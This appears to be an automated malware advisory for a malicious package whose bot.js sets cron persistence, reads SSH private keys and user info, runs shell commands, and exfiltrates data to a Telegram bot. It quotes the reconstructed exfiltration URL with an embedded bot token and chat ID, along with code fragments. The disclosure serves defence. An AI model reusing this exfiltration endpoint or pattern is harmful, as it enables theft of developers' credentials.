GCVE-110-OSM-2026-6006

Malicious package detected. Behaviors: data exfiltration, code execution. ENTRY bot.js (bin: ./bot.js) PERSISTENCE - Cron Job Persistence in bot.js: "crontab -" DESTINATION - reconstructed: https://api.telegram.org/bot8870595195:AAHcwv2ZMYZU9ia_xjHGR5veBQTQ1FH_rOY/sendMessage?chat_id=8346336575&text=${...}&parse_mode=HTML (primary, reconstructed) - custom-c2: api.telegram.org (reconstructed) in bot.js - telegram-bot: 8870595195:AAHcwv2ZMYZU9ia_xjHGR5veBQTQ1FH_rOY (plaintext) in bot.js - telegram-bot: api.telegram.org/bot${BOT_TOKEN}/sendMessage?chat_id=${CHAT_ID}&text=${encodeURIComponent(msg.slice(0,4000))}&parse_mode=HTML`; (plaintext) in bot.js EXFIL - Sensitive File Access in bot.js: "'.ssh/id_rsa'" - Data Encoding for Exfiltration in bot.js: "encodeURIComponent(msg.slice(0,4000))}&parse_mode=HTML" - Network Request in bot.js: "https.get(" - System Information Collection in bot.js: "os.userInfo()" OBFUSCATION - recovered 1 urls, 1 domains from decoded/deobfuscated content ADDITIONAL FINDINGS - Shell Command Execution in bot.js: "child_process').exec" - Suspicious URL Pattern in Template Literal in bot.js: "https://api.telegram.org/bot8870595195:AAHcwv2ZMYZU9ia_xjHGR5veBQTQ1FH_rOY/sendM..." PAYLOAD FILES bot.js INDICATORS (IOCs) - payloadFileHash: a3ebeaf11b3c1efde4a7956c0c8bd47a29726c15e825d5a46f2bde2ded3875e9